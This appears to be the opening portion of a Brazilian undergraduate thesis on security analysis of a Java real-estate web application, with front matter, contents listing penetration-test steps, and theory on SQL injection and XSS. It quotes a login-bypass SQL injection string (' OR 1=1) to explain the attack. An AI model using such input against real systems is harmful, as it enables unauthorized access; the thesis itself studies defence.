INSTITUTO
FEDERAL

Brasilia

Instituto Federal de Brasilia

Campus Brasilia

Curso Superior de Tecnologia em Sistemas para Internet

ANALISE DE SEGURANCA DO SOFTWARE RRG CONSTRUCAO: BOAS
PRATICAS APLICADO AO DESENVOLVIMENTO DE SOFTWARE SEGURO

Por
INGRID LAIILA SANTANA ORNEIAS E MICHEL CLEMER MONTEIRO DEOLINO

Tecnologo

BRASILIA
2020



Ingrid Laila Santana Ornelas e Michel Clemer Monteiro Deolino

ANALISE DE SEGURANCA DO SOFTWARE RRG CONSTRUCAO:
BOAS PRATICAS APLICADO AO DESENVOLVIMENTO DE
SOFTWARE SEGURO

Trabalho apresentado ao Programa de Curso Superior de
Tecnologia em Sistemas para Internet da Instituto Federal
de Brasilia como requisito parcial para obtencdo do grau

de Tecnologo em Sistemas de Internet .

Orientador: Didgenes Ferreira Reis Fustinoni

BRASILIA
2020



Ornelas, Ingrid Laila Santa; Monteiro Deolino, Michel Clemer.
ANALISE DE SEGURANCA DO SOFTWARE RRG
CONSTRUCAO: BOAS PRATICAS APLICADO AO
DESENVOLVIMENTO DE SOFTWARE SEGURO
. - Brasilia - DF, 2020.

XVII, 149 f.:il. 29 cm.

Trabalho de Conclusao de Curso (Graduagédo em Sistemas para
Internet) - Instituto Federal de Brasilia, Campus Brasilia, 2020

Orientador (a): Prof. Diébgenes Ferreira Reis Fustinoni

1. Teste de seguranca. 2. Requisitos de segurancga. 3. Analise
de cadigo. I. Titulo. Il. Orientador (Ferreira, Diégenes ). lll. Instituto
Federal de Brasilia

Campus Brasilia




Ingrid Laila Santana Ornelas e Michel Clemer Monteiro Deolino

ANALISE DE SEGURANCA DO SOFTWARE RRG CONSTRUCAO: BOAS
PRATICAS APLICADO AO DESENVOLVIMENTO DE SOFTWARE SEGURO

Trabalho de conclusdo de curso de graduacao apresentado a Coordenagdo do Curso Superior de
Tecnologia em Sistemas de Internet do Instituto Federal de Brasilia — Campus Brasilia, como

requisito parcial para a obtenc¢do do titulo de Tecnélogo em Sistemas de Internet.

Aprovado em: de de

BANCA EXAMINADORA

Prof. Di6genes Ferreira Reis Fustinoni

Computacdo/IFB

Prof. Dr. Daniel Sundfeld Lima
Computacao/IFB

Prof. Dr. Hugo do Carmo Mendes César
Computacao/IFB

BRASILIA
2020



Dedico este trabalho a Jeovd Deus.



Agradecimentos

Agradeco ao nosso orientador Prof. Didgenes Reis, por compartilhar sua sabedoria e
experiéncia conosco, também pela paciéncia e conselhos dados.

Gostaria de deixar registrado também, o meu reconhecimento a minha familia, ao meu
marido Paulo e principalmente a Jeova Deus, pois acredito que sem o apoio deles seria muito

dificil vencer esse desafio.

Ingrid Laila.



Resumo

Ornelas, Ingrid Laila Santa; Monteiro Deolino, Michel Clemer. Andlise de Seguranga do software
RRG Construgdes. 2020. 268 f. Trabalho de Conclusdo de Curso (Graduagdao) — Tecnélogo em
Sistemas para Internet. Instituto Federal de Brasilia — Campus Brasilia. Brasilia/DF, 2020.

Frente a evolugdo das diversas tecnologias vem também os ataques contra esses sistemas e
servicos. Este trabalho ird abordar de uma maneira ampla a andlise de seguranga em uma
aplicacio web baseada em java. E ilustrado a aplicaco de boas praticas de seguranga nas etapas
de desenvolvimento até a fase de teste de seguranca. Por fim, € ilustrado as medidas corretivas

que podem minimizar os ataques de hackers.

Palavras-chave: Seguranca, aplicacOes web, ataques a sistemas.



Abstract

Monteiro Deolino, Michel Clemer. Ornelas, Ingrid. Andlise de Seguranga do software RRG
Construgdes). 2020. Trabalho de Conclusdo de Curso (Graduagdo) — Tecnélogo em Sistemas
para Internet. Instituto Federal de Brasilia — Campus Brasilia. Brasilia/DF, 2020.

In the face of the evolution of different technologies, there are also attacks against these systems
and services. This work will cover security analysis in a Java-based web application in a broad
way. The application of good security practices in the development stages up to the security
testing phase is illustrated. Finally, the corrective measures that can minimize the attack by

hackers are illustrated.

Keywords: Security, web applications, attacks on systems.



2.1
2.2

2.3
24
2.5
2.6
2.7
2.8
29
2.10
2.11
2.12
2.13

2.14

2.15
2.16
2.17

2.18

2.19

2.20
221

3.1

3.2
33

Lista de Figuras

Pilares de seguranca da informacao (MATSUNAGA, 2018). . .. ... .. ..

Apresenta uma consulta para validar se o usudrio estd cadastrado no banco de
dados. . . . ... e e

Recebe os dados vindos do formuldrio e fazaconsulta. . . . . . . . ... ...
Exemplo de exploracdo da vulnerabilidade de XSS pra capturar cookies.
Estabelecimento de conexdo TCP (CLOUDFLARE, 2017) . .. ... ... ..
Ataque SYN (CLOUDFLARE, 2017) . . . . . . . . . .. .o ...
Acessando servidor FTP com USUArio anonymous . . . . . . . . .« .« . . ..
Criptografia simétrica (SILVA, 2015). . . . . . ... . ... ... . ... ...
Criptografia assimétrica (PENA, 2015). . . . . .. .. ... .. .. ... ...
Processo SSL (SECTIGOBR, 2018). . . . . . . . .. . ... ... ... ...
A 1identificagdo que o site € seguro (CANALTECH, 2010). . ... ... .. ..
Riscos de seguranca (BASHARAT; AZAM; MUZAFFAR, 2012). . . ... ..
Areas que devem ser consideradas na politica de seguranca (BASHARAT;
AZAM; MUZAFFAR, 2012). . . . . . . . . o o
O ciclo de vida de desenvolvimento de software. Mapeando catdlogos de conhe-
cimento de seguranca de software para vdrios artefatos de software e praticas
recomendadas de seguranca de software que demostram como varios catdlogos
de conhecimento podem ser aplicados em todo o desenvolvimento. BARNUM;
MCGRAW (2005) . . . . . . o e
Etapas da modelagem de ameacas (MICHAEL HOWARD, 2005). . . ... ..
Simbologia do diagrama DFD (MICHAEL HOWARD, 2005). . . ... .. ..
Diagrama DFDs de um sistema de folha de pagamento (MICHAEL HOWARD,
2005). . . .
Arvore de amegas em um sistema de folha de pagamento (MICHAEL HOWARD,
2005). . .. e
Exemplo de cédlculo de risco utilizando o método DREAD (MICHAEL HOWARD,
2005). . ..
Exemplo de uma tabela de ameaca (MICHAEL HOWARD, 2005). . . . . . . .
Tabela de técnicas de seguranga (MICHAEL HOWARD, 2005). . .. ... ..

Objetos de conhecimento de seguranca de software € uma arquitetura inter-
relacionada basica BARNUM; MCGRAW (2005). . . . . . . . ... .. ....
Itens para consideragdo e inclusido no SSC (GILLIAM et al., 2001). . . . . . ..

Exemplo de verificacio de segurancga para liberagdo (GILLIAM et al., 2001).

49

51

52



34

3.5
3.6

3.7

3.8

3.9

4.1
4.2
4.3
4.4
4.5
4.6
4.7
4.8
4.9

5.1
5.2
53
54
5.5
5.6
5.7
5.8
59
5.10
5.11
5.12
5.13
5.14
5.15
5.16
5.17
5.18

Classificacdo do tipo de pesquisa dos estudos selecionados ao estdgio no desen-
volvimento de software (SALAS; MARTINS, 2014). . . . ... ... ... .. 64
Principais motivos para a ndo implementacdo de seguranca (COSTA et al., 2018). 65

Como o DevOPs afeta positivamente a seguranga de software (RAHMAN;

WILLIAMS, 2016). . . . . . . . o 66
Como o DevOPs afeta negativamente a seguranca de software (RAHMAN;

WILLIAMS, 2016). . . . . . . . o e 66
Niveis de colaboragdo nas organizagdes entrevistadas (RAHMAN; WILLIAMS,

2016). . . . 67
Lista de praticas de seguranca e uma andlise de como elas sdo usadas em

organizacdes que adotaram o DevOPs (RAHMAN; WILLIAMS, 2016) . ... 67
Metodologia. . . . . . . . .. 69
Regrade Negocio . . . . . . . . . . . . . e 70
Telalnicial . . . . . . . . . . . 71
Vendas de iméveis . . . . . ... 72
Teladecontato . . . . . . . . .. .. 73
Telade Login . . . . . . . . . .. . 74
Pédgina Principal do Administrador . . . . . . . .. ... Lo 74
Péagina Principal do Funciondrio . . . . . . .. .. ... ... ... ... 75
Listade Contratos . . . . . . . . . . . o i vt e e 76
Diagramade Contexto . . . . . . . . . .. .. ... 78
Diagramadenivel 1 . . . . . . . . . ... ... 79
Arvorede ameacan. 1 . . . . .. . ... ... 80
Arvoredeameacan. 2 . . ... ... .. ... ... ... ... .. 81
Arvorede ameacan. 3 . . . . . ... ... 82
Arvorede ameacan. 4 . . . . .. ... 83
Arvorede ameacan. 5 . . ... ... ... ... ... ... 84
Arvorede ameacan. 6 . . . . . .. ... ... 85
Diagrama de mau uso do diagrama manter cliente . . . . . . .. ... ... .. 88
Diagrama de mau uso do diagrama manter contrato . . . . . . . ... ... .. 89
Diagrama de mau uso do diagrama manter folha de pagamento . . . . . . . . . 89
Diagrama de mau uso do diagrama manter iméveis . . . . . . . . . .. .. .. 90
Diagrama de mau uso do diagrama mantermenu . . . . . . .. ... ... .. 91
Diagrama de mau uso do diagrama manter usudrios . . . . . . .. .. .. ... 91
Diagrama de mau uso do diagrama manter funciondrios . . . . . ... .. .. 92
Diagrama de mau uso do diagrama manter perfil . . . . ... ... ... ... 92
Listando os possiveis meios de ataques. . . . . . . . . . ... ... ... 103

Nmap com auxilio do Shell script . . . . . . . .. .. ... ... ... 103



5.19
5.20
5.21
5.22
5.23
5.24
5.25
5.26
5.27
5.28
5.29
5.30
5.31
5.32
5.33
5.34
5.35
5.36
5.37
5.38
5.39
5.40
541
542
543
5.44
5.45
5.46
5.47
548
5.49
5.50
5.51
5.52
5.53
5.54
5.55
5.56
5.57

Buscando informagdes como Curl . . . . . . . . . ... .. 104
Tela de resultados utilizando a ferramenta DIRB . . . . . . .. .. ... .. .. 104
Scriptem Python . . . . . . . ... 105
Resultado da execugaodo script. . . . . . . . . . . ... 106
Script padrdiodo Nmap. . . . . . . . . . . . 107
Resultadousandoo Nikto . . . . . . . . .. ... ... L. 107
Tela de Login do sistema RRG Construgdo. . . . . . .. ... ... .. .... 109
Usando Burp Suit. . . . . . . . . o o e e e e 109
Teste com o Burp Suit. . . . . . . . .. 110
Resultados com a ferramenta Burp Suit. . . . . . . . . . . ... ... ... .. 111
Usando a ferramenta Wireshark. . . . . . . . . . ... ... ... 112
Conexdo entre cliente eroteador. . . . . . . . . ... ... 112
Ataque Arp Spoofing. . . . . . .. 113
Resultado apés a execugdo da ferramenta Wireshark. . . . . . . . .. ... .. 114
Resultado apods a execugdo da ferramenta Wireshark. . . . . . . . . .. .. .. 114
Ataque Directory Transversal. . . . . . . . . . . . . ... 115
Directory Transversal. . . . . . . . . . . . . . . e 116
Usando Metasploit. . . . . . . . . . . . . . e e 116
Usando Metasploit. . . . . . . . . . . . . . e 117
Scriptem Python. . . . . . . . .. 118
Resultado do script em Python. . . . . . . . . . . . . . . ... ... ..., 118
Usando a ferramenta Metasploit para ataques de Forca Bruta. . . . . . . . . .. 119
Ataque de For¢a Bruta no servidor GlassFish. . . . . . ... ... ... .... 120
Tela de login do GlassFish. . . . . . . . . . . . .. ... ... ... ... 120
Tela de acesso ao GlassFish. . . . . . . . ... .. ... ... .. ... 121
Criando Payload. . . . . . . . . . . . . . . e 121
Tela Deploy Application or Modules listando o arquivo .war. . . . . . . .. .. 122
Moédulo para receber a conexao reversa do payload. . . . . . . ... ... ... 122
Tela Deploy Application. . . . . . . . . . . .. ... . .. .. ..., 122
Tela Deploy Application. . . . . . . . . .. . .. .. . .. ... 123
Aberturade conexao. . . . . . ... e 123
Terminal do atacante. . . . . . . . . . . ... 124
Metodologia. . . . . . . . .. 125
Caixa de dialégo inicial do FindBugs . . . . . . . ... ... ... ... ... 128
Resultado da andlisedecodigo . . . . . . ... ... ... 129
Resultado da andlise de codigo . . . . . . . . .. ... ... ... .. ..., 130
Resultado da andlise de codigo . . . . . . . . . .. ... ... 130
Resultado da andlise de cédigo . . . . . . . . . . ... ... ... ... ... 131
Problema 1: Auséncia de senha no bancodedados . . . . ... ... ... .. 131



5.58 Problema 2: Bad Practice . . . . . . . . . . . . ... 132
5.59 Problema3: Dodgy Code . . . . . ... ... ... .. ... . ... 132

5.60 Problema 4: Method may fail to clean up stream or resource . . . . .. .. .. 133
5.61 Problema 5:Unread field: should this field be static . . . . . ... ... .. .. 134



5.1
5.2
53
54
55
5.6
5.7
5.8

Lista de Tabelas

Tabela DREADdeameacas . . . . . . . . ... ... ... .. ........ 86
Tabela de atenuagdes . . . . . . . . . . . ... 87
Tabela DREAD deamecas . . . . . .. ... .. ... ... .......... 98
Tabela Mitigacdo de Ameacas . . . . . . . . . . . . ... 99
Cronograma Teste de Penetracdo . . . . . . . . .. ... ... ... .. .... 101
Tabela de Probabilidades e Impactos . . . . . .. ... ... .......... 135
Tabela de Classificacdode Riscos . . . . . ... ... .. ... .. ...... 135

Tabela Mitigacdo de Ameagas . . . . . . . . . ... ... ... 136



SATs
SSC
PBT
FMF
SSAI
IPS

IDS
URL
HTML
FTP
DDoS
DoS
HTTP
XSS
SQL
OWASP
DevOPs
API
HTML
HTTP
TCP
RSA
DFD
STRIDE

DREAD

PBT
SYN
ACK

Lista de Acronimos

Security Assessment TOOIS ........... i 61
Software Security Checklist........... ... i 60
PropertyBased Tester. ... 60
Flexible Modeling Framework............ ... .. ... i it 60
Software Security Assessment Instrument .............. .. ..o ... 60
Intrusion Prevent System........ ... 21
Intrusion Detection SyStem. ....... ...t 21

Uniform Resource Locator

HyperText Markup Language ............ .o, 32
File Transfer Protocol ... ... ... .. i 34
Distributed Denial of Service. ...t 33
Denial of Service. .. ...t e 33
Hypertext Transfer Protocol ......... ... .. o i i i 32
CroSS-SIte SCTIPUNE . . . oo v ettt ettt ettt e e e e e et ettt ie e 31
Structured Query Language . ...t 31
Open Web Application Security Project ..., 25
Developement and Operations . .............eeeeeeeeeennnnnniiinnnnn.. 65

Application Programming Interface

HyperText Markup Language ..., 32
HyperText Transfer Protocol ............. . i i 32
Transmission Control Protocol ......... ... .. i i 33
Rivest-Shamir-Adleman .......... ... . i 37
Diagrama de Fluxode Dados ......... ... 47

Spoofing, Tampering with data, Repudiation, Information disclosure, Denial of

Service, Elevation of privilege . ............ oo i i 49

Dano Potencial, Reproduzibilidade, Explorabilidade, Usudrios afetados,

Possibilidade de descoberta . .......... ..o 51
Property Based Tester .. ...t e 60
synchronize

acknowledge



IDS

IPS

SSL
Vmatrix
CRUD
DNS
NSE

Sistema de Deteccaode Intrusdo . ... 21
Sistema de Prevencdo de Intrusos . ... 21
Camada de Soquete Seguro

Vulnerability MatriX . ... ...ooerreeee ettt eeaanns 60
Create, Read, Update e Delete . ......... ... i, 77
Domain Name System

Nmap Scripting Engine . ...... ... i 106



Sumario

1 Introducao
1.1 Problema . ... ... .. . . ...
1.1.1  Objetivogeral . . . . . . . . . .. . e
1.1.2  Objetivos especificos . . . . . . . . ... oo
1.2 Estruturado TCC . . . . . . . . . . e
1.2.1 ClassificagdiodaPesquisa. . . . . . . . ... ... ... ... ... ..

2 Referencial Tedrico
2.1 Segurancade Software . . . . . . ..
2.2 AMAQUES . . .. e e e e e e e e
2.2.1 SQLInjection . . . . . . . . . . e e e
2.2.2  Cross-site scripting (XSS) . . . . . . . .o
2.2.3 Ataquesde Negacdodeservico . . . . .. .. ... .. .. ......
2.2.4 ConfiguracOes de seguranga incorretas . . . . . . . . . . . . ... ...
2.3 Técnicas de seguranca . . . . . . . . . ...t e e e
23.1 Criptografia . . . . . . . . . . ..
232 AUenticac@io . . . . . ... e e e e e e e e e
233 Controledeacesso . . . . . .. . ..o
2.3.4 Sistema de Detec¢do de Intrusao (IDS) . . . . . .. .. .. ... ...
2.3.5 Sistema de Prevencdo de Intrusos (IPS) . . . . . ... ... ... ...
2.3.6 Segurancaembancodedados . . . .. .. ... ... ... ... ...
2.4 Ferramentas Utilizadas . . . . . . .. ... . . Lo
2.5 BOaspraticas . . . . .. . ... e e e e
2.5.1 Modelagemdeameacas . . . . .. ... ... .. ... .. ... ..
2.5.2 Casosdeabusoedemauuso . . . . ... ... ... ... .......
253 Requisitosde seguranga . . . . . . ... ...
2.54  Analise estaticade programas . . . . . . .. ... ool
2.5.5 Testesdeseguranga . . . . . . . . ... ..o e e e

2.5.6 Analise deriscos . . . . . ... e

3 Revisao de literatura e Trabalhos Relacionados
3.1 Boas préticas no desenvolvimento de softwares seguros . . . . . . . . ... ..
3.1.1 Knowledge for software security: . . . . . . . ... . ... ... ...
3.1.2  Software Security Checklist for the Software Life Cycle: . . . . . . ..
3.1.3  Building Secure Software: Better than Protecting Bad Software

3.2 Andlise do sistema de orientagdo atual . . . . . . ... ... ... ... ...,

25
26
26
26
27
27

29
29
30
30
31
32
34
35
35
38
39
40
41
41
44
46
47
53
54
55
55
57

59
59
59
60
62



3.2.1 Developers Need Support, Too: A Survey of Security Advice for Software
Developers . . . . . . . e e
3.2.2  Systematic review of web application security development model: . . .
3.2.3 Nivel de conhecimento de desenvolvedores sobre seguranca em aplica-
coes web: pesquisae andlise . . . . . .. ... ...
3.3 Seguranga na aplicacdo do método DevOPs . . . . . . . . . ... ... ....
3.4 Testes de intrusdo e sua eficdcia na detec¢do de vulnerabilidades . . . . . . ..
3.4.1 Comparing the Effectiveness of Penetration Testing and Static Code

Analysis on the Detection of SQL Injection Vulnerabilities in web Services:

Metodologia
4.1 Apresentacdo do sistema RRG Construgdes . . . . . . ... ... ... ....

Apresentacao e Analise dos Resultados

5.1 Modelagem de Ameacas . . . . . . . . . . ...
5.1.1 Decomposi¢dao do aplicativo . . . . . . . ... ... ... ... ..
5.1.2 Determinacdo das ameacasdo sistema . . . . . . . . ... ... . ...
5.1.3 Classificagdodeameagas . . . . . . . . . ... ... ... ... ..
5.1.4  Atenuac@o . . . ... ... e e

5.2 Diagrama de casos de mau uso e casosdeabuso . . . . . .. ... ... .. ..

5.3 Requisitos de Seguranga . . . . . . ... L

54 AndlisedeRiscos . . . . ...
5.4.1 Conhecimentodosistema: . . . . . . . .. .. .. ... .. ......
542  Questdes de seguranga: . . . . . ... .o e e e
5.4.3 Determinagdo de probabilidade e impacto: . . . . ... ... ... ..
54.4 Classificar oS riSCos: . . . . . . . . ..o
5.4.5 Desenvolver estratégias de mitigagdo: . . . . . . . . . ... ... ...

5.5 Testedepenetracdo . . . . . . . . . ...l

5.5.1 PlanodeTeste . . .. .. .. ... . ...

5.6 Execucdodotestede penetracdo . . . . . . . . .. ...
5.6.1 Sondageme Mapeamento . . . . . . ... .. .. ... ...
5.6.1.1 NMAP . . . . . .

5.6.1.2 CURL . ... ... . .. it

5613 DIRB . . . . . . . e

5614 PYTHON . . . . . . . . . . it
5.6.2 Identificacdo de Vulnerabilidades . . . . ... ... ... .......
5621 NMAP . . . . . . e
5622 NIKTO . . . .. . . . . .. e
5.63 Exploragdo . . . . . . . ...
5.63.1 BurpSuit. . . . . ...

65
65
67

68



5,632 RoubodeSessdao . ... ... ... ... ..

5.6.3.3  Directory Transversal . . . . . . . .. .. ... ... ....

5.6.3.4  Metasploit . . . . . . . . ...

5.6.3.5 Loginno GlassFish . . . . ... .. .. ... ........

5.6.4 Poés-exploracdo . . . . . . . ... L
5.6.4.1 Brute Force Metasploit . . . . . .. .. ... ... .....

5.6.4.2 Acessoamaquina . . . . .. .. ... e e e e

5.6.5 Relatério do Teste de penetragdo . . . . . . . . .. .. ... ......
5.6.5.1 Sistemaalvo . . . . ... .. L Lo

5.6.52 Metodologia . . . ... ... ... ...

5.6.53 Ferramentas . . . . ... .. ... ... ... .. ...,

5.6.5.4  Auséncia de credenciais fortes para acesso do administrador .

5.6.5.5 Ausénciade criptografia . . . .. .. ... ... ... ... .

5.6.5.6  Falhano servidor GlassFish . . . . . . ... ... ......

577 Andlisede Codigo. . . . . . . ...

5.8 Analise de riscos

6 Conclusoes e Trabalhos Futuros

Referéncias



25

Introducao

Diante da grande facilidade em desenvolver aplicacdes web, o nimero de ataques a esses
servicos vem crescendo de maneira exorbitante. De acordo com PAVAO (2017): "Somente no
primeiro semestre deste ano, 0o DFNDR Security, principal aplicativo antivirus do Brasil, detectou
93 milhdes de ataques; dentre eles, mais de 7 milhoes de pessoas foram afetadas". Alguns dos
fatores que influenciam para o Brasil ser um dos alvos desses ataques sdo as diversas aplicacdes
que ainda estdo desatualizadas ou mal codificadas e possibilitam ao invasor usar, até mesmo as

técnicas mais antigas de exploracgdo.

O objetivo da seguranca em aplicagdes web € garantir o cumprimento dos seguintes pa-
drdes internacionais: Disponibilidade, Integridade e Confidencialidade (Information Technology-
Code of Practice for Information Security Management (2005)). Além disso, a equipe de
desenvolvimento deve se basear nesses conceitos e buscar relatérios que contenham dados dos
tipos de ataques mais relatados. Para auxiliar as equipes de desenvolvimento ha um projeto,
sem fins lucrativos, de seguranca da informa¢ao chamado Open Web Application Security Pro-
ject (OWASP) que disponibiliza anualmente uma lista das dez vulnerabilidades mais exploradas
em sites, além de uma grande comunidade com diversos projetos e pesquisas em seguranca.

A seguranca em aplicacdes web, de acordo com CARVALHO et al. (2013) tratam-se da
seguranca do cédigo- fonte, seguranca de bibliotecas e seguranca nos servidores web. Para atingir
os pilares de seguranca a equipe de desenvolvimento deve atender a todos os requisitos desde a
preparagdo do ambiente até a documentacio. Por conta disso, é importante os desenvolvedores
se atentarem as boas praticas na construcao de sistemas, pois na auséncia dessas agdes surgem
vulnerabilidades.

Uma das boas praticas € a realizac@o de testes de intrusdo, pois em um ataque real os
métodos utilizados pelos hackers podem ser divergentes dos esperados, porque os atacantes
pensam no que a aplicacdo pode ser levada a fazer. Sendo assim, a realizacio de teste de intrusao,
similar a um ataque real e em ambiente controlado, poderia ser muito util para encontrar possiveis
falhas que ndo foram vistas ou ndo foram totalmente corrigidas na etapa anterior.

Apesar da aplicacdo desses métodos, uma aplicagido pode estar sujeita a qualquer tipo
de ataque, seja uma nova vulnerabilidade encontrada na versao de alguma das ferramentas

utilizadas no desenvolvimento ou uma técnica que ji € recorrente e possa causar determinada
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indisponibilidade na aplicagdo.

1.1 Problema

A seguranca de software trata-se do desenvolvimento de versdes com pouquissimos
defeitos, (BRAGA, 2007), porém no contexto atual as boas praticas de implementacdo sao
negligenciadas e os defeitos sd@o convertidos em vulnerabilidades e exploradas em ataques.

Diante disso, os softwares apresentam os seguintes problemas:

1. Ma gestdo no processo de desenvolvimento (ANTONIO, 2009);
2. Vulnerabilidades no codigo fonte (MCGRAW, 2002);

3. Geralmente os desenvolvedores desconsideram a utilizagdo de testes em pequenos

trechos do cédigo (teste unitdrio) e priorizam testes de intrusdo (GSW, 2012);

4. Validacdo de dados incorretas que levam a vulnerabilidades quando os invasores

modificam as entradas de maneiras inadequadas (JUNIOR, 2018);

5. Displicéncia na documentacao do software e na arquitetura (EVANDRO, 2013).

1.1.1 Objetivo geral

Este trabalho tem por objetivo avaliar as vulnerabilidades do software RRG Construgdes e
analisar a relacdo entre a aplicacdo de boas préticas com o desenvolvimento seguro de aplicacdes
web. Sua proficuidade € no sentido de auxiliar a resolver as questdes dos problemas acima
descritos. Isto serd realizado com o auxilio de ferramentas capazes de detectar erros no c6digo

fonte e bugs.

1.1.2 Objetivos especificos

Para alcancar o objetivo da pesquisa, busca-se atingir os seguintes objetivos especificos:

» Expor os principais ataques de softwares e apresentar técnicas e ferramentas com o

objetivo de prevenir investidas;

= Avaliar qualitativamente as recomendagdes e técnicas de seguranga por meio de
simulagdes de ataques em um sistema de divulgacdes de imdveis da empresa RRG

Construgdes;
» Formular a modelagem de ameacas do software RRG Construgio;
= Elaborar os casos de uso do software;

» Redigir os requisitos de seguranga;
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= Realizar andlise de riscos durante todo o processo;

= Realizar a andlise de cédigo fonte.

1.2 Estrutura do TCC

Esta monografia estd dividida em 7 capitulos: introducdo, referencial tedrico, revisdao
de literatura e trabalhos relacionados, metodologia, resultados, conclusao e referéncias. No
Capitulo 1 - Introdugdo € fornecido uma breve explanacio do que serd abordado no trabalho, bem
como uma visdo do problema, objetivos e classificacdo da pesquisa. No Capitulo 2 - Referencial
Tedrico sdo apresentados o embasamento tedrico para este trabalho sendo dividido nas se¢des:
ataques, seguranca de software e boas préticas. No Capitulo 3 - Revisdo de Literatura e Trabalhos
Relacionados expdem contribuicdes cientificas de autores sobre o tema. Posteriormente, no
Capitulo 4 - Metodologia € descrito o tipo de pesquisa realizada, expde os instrumentos e fontes
escolhidos para a coleta de dados. No Capitulo 5 - Resultados: sdo apresentadas as descobertas
que foram realizadas na pesquisa e a andlise dessas informacdes. Por fim, no Capitulo 6 -
Conclusao € apresentado uma visdo final do que foi assinalado e no Capitulo 7 - Referéncias

estdo as fontes utilizadas para a elaboracao deste trabalho.

1.2.1 Classificacao da Pesquisa

O presente trabalho possui cardter exploratério tendo por objetivo identificar e associar
maés préaticas no desenvolvimento que contribuem para ocorréncias de vulnerabilidades. Além
disso, aplicou-se uma abordagem quantitativa com a finalidade de mensurar as vulnerabilidades
encontradas. Outrossim, foram utilizados procedimentos de pesquisa bibliogréfica e estudo de
caso do software RRG Construgdes, composto de trés etapas: a primeira exploratoria; a segunda
de sistematizacao de coleta de dados e delimitacao do estudo, e a tltima de andlise e interpretagao

das descobertas.
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Este capitulo aborda os conceitos tedricos relevantes para a compreensao do trabalho,
sendo divido nos seguintes topicos: seguranca de software, ataques, técnicas de seguranga de
software, ferramentas utilizadas e boas praticas durante o desenvolvimento do software. O
primeiro tépico, seguranca de software aborda os trés pilares basicos de seguranga da informacao.
Em seguida, é apresentado o topico de ataques que explica as principais formas de exploragdo.
O estudo de ataques de acordo com o autor BARNUM; MCGRAW (2005) "ajuda a identificar e
qualificar o risco de uma determinada exploracdo ocorrer em um sistema de software."

O terceiro tépico - Técnicas de Seguranca de software - aborda como as principais
técnicas de seguranca evitam ataques e obedecem aos pilares de segurancga. Dentre estas técnicas
estdo: criptografia, autenticacio, controle de acesso, sistema de detec¢do de intrusio e seguranca
a banco de dados. O quarto tépico explana sobre as ferramentas que serao utilizadas durante a
andlise de resultados.

O quinto tdpico discorre sobre boas praticas durante o desenvolvimento de software
que servem de métodos para mitigar vulnerabilidades. De acordo com o autor MCGRAW
(2002) o problema raiz das vulnerabilidades encontradas nos softwares é o cddigo. Diante disso,
este trabalho apresenta alguns documentos, como: modelagem de ameacgas, andlise de riscos,

requisitos de seguranca, testes de seguranca, andlise do codigo e casos de mau uso.

2.1 Seguranca de Software

De acordo com MCGRAW (2002), seguranca de software envolve o processo de pro-
jetar, construir e testar softwares com o objetivo de garantir seguranga. Para isso, o software
deve obedecer aos trés pilares de seguranca, nos quais sdo: confidencialidade, integridade e
disponibilidade (Figura 2.1).

= A confidencialidade diz respeito ao sigilo das informacdes garantindo que somente

pessoas autorizadas tenham acesso;

» Integridade refere-se a exatiddo da informacao, ou seja, garante que o conteido nao

foi modificado;
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SEGURANCA DA INFORMACAO

...
S
o

Figura 2.1 Pilares de seguranca da informacdo (MATSUNAGA, 2018).

» Disponibilidade trata-se da eficdcia do sistema. Em outras palavras garante que a
informacdo esteja disponivel (OLIVEIRA, 2019).

Além desses principios basicos de seguranca, é necessario um estudo dos principais
ataques que afetam os softwares, pois esse estudo ajuda os desenvolvedores a conhecer o

funcionamento dos ataques e formas de prevencao.

2.2 Ataques

Um ataque a um software sdo agdes praticadas por pessoas mds intencionadas visando
causar danos. Estes sdo ocasionados por vulnerabilidades que sdo originados de falhas ou bugs
podendo ser de alto ou baixo nivel de impacto a um sistema. A ideia de que nenhum sistema pode
se tornar totalmente seguro, abre portas para os invasores testarem todos os tipos de ferramentas
ou metodologias de ataques que possam afetar de alguma maneira a aplicagdo.

O estudo de ataques ajuda a prevenir exploragdes e qualificar riscos para um sistema.
Isso demonstra a importancia de seguir uma metodologia de boas praticas acompanhado da
utilizacdo de ferramentas de seguranca. Também, esse estudo € ttil para projetar modelagem
de ameacas, testes de seguranca e casos de mau uso nos quais serdo abordados mais adiante
(BARNUM; MCGRAW, 2005). A seguir sdao apresentados os principais ataques.

2.2.1 SQL Injection

O SQL Injection € uma falha na validacdo de entrada de dados do usudrio no formulario
com o banco de dados. Conforme relatado por BOYD; KEROMYTIS (2004), a injecao de
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codigo SQL requer pouco esfor¢o por alguém que possua conhecimentos sobre a linguagem
SQOL e scritps CGlI. Ela possibilita ao atacante enviar junto a requisicdo comandos para serem
executados na linguagem Structured Query Language (SQL), que podem ser interpretadas pela
base dados. Além disso, na maioria dos ataques, os invasores conseguem permissao total (acesso
root) ao sistema, pois se o atacante nao souber o nome de algum cliente cadastrado, é dado a ele
permissdes de acesso do primeiro usuério do banco de dados, normalmente o administrador.

Diversas aplicagdes possuem controles na validacao de dados do usudrio, no entanto,
deve-se esperar qualquer valor vindo do formuldrio. Na etapa de desenvolvimento € preciso
evitar a validagdo de formulario no browser do usudrio via JavaScript, pois € possivel desabi-
litar no navegador. Além disso, existe uma ferramenta bastante usada para testes de intrusao
chamada Burp Suit. Esta € um proxy que intercepta todas as requisicoes feitas pelo navegador,
possibilitando alterar e analisar cada dado e seus comportamentos na aplicagao.

Na Figura 2.2, serd exemplificado, de maneira simples, como € feito o ataque de SQL

Injetion:

usuarios WHERE nome = '$nome’ AND senha

arios WHERE nome = ‘fulano’ or 1=1

Figura 2.3 Recebe os dados vindos do formulario e faz a consulta.

A Figura 2.3, acima, mostra como ¢ feito o ataque de SQL Injection. E passado para o
campo USUARIO a string fulano’ OR 1=1. Essa expressio acessard como usudrio fulano. O
caractere "' apds a expressdo OR 1 =1 torna o restante da expressdo um comentario, fazendo
com que a senha nao seja necessdria para autenticar. A expressao > OR 1=1- ¢ utilizada quando
o atacante nao sabe o usudrio, levando a usar a autenticacdo com as credenciais do primeiro
usudrio do banco de dados, o qual normalmente é o administrador. Uma medida para mitigar um

possivel acesso root ao sistema € criar o primeiro usudrio sem nenhuma permissao.

2.2.2 Cross-site scripting (XSS)

Cross-site scripting (XSS) € um vetor de ataque malicioso em destaque que estd aumen-
tando exponencialmente. A vulnerabilidade XSS € um item que aparece no Top 10 da OWASP
OWASP (2017). Os invasores usam um dominio parecido com o original e injetam, na piagina

vulneravel, comandos na linguagem JavaScript, podendo redirecionar ou roubar a sessdao do



32 REFERENCIAL TEORICO

usudrio. Normalmente a relacdo de confianca que existe entre a vitima e o site original ndo deixa
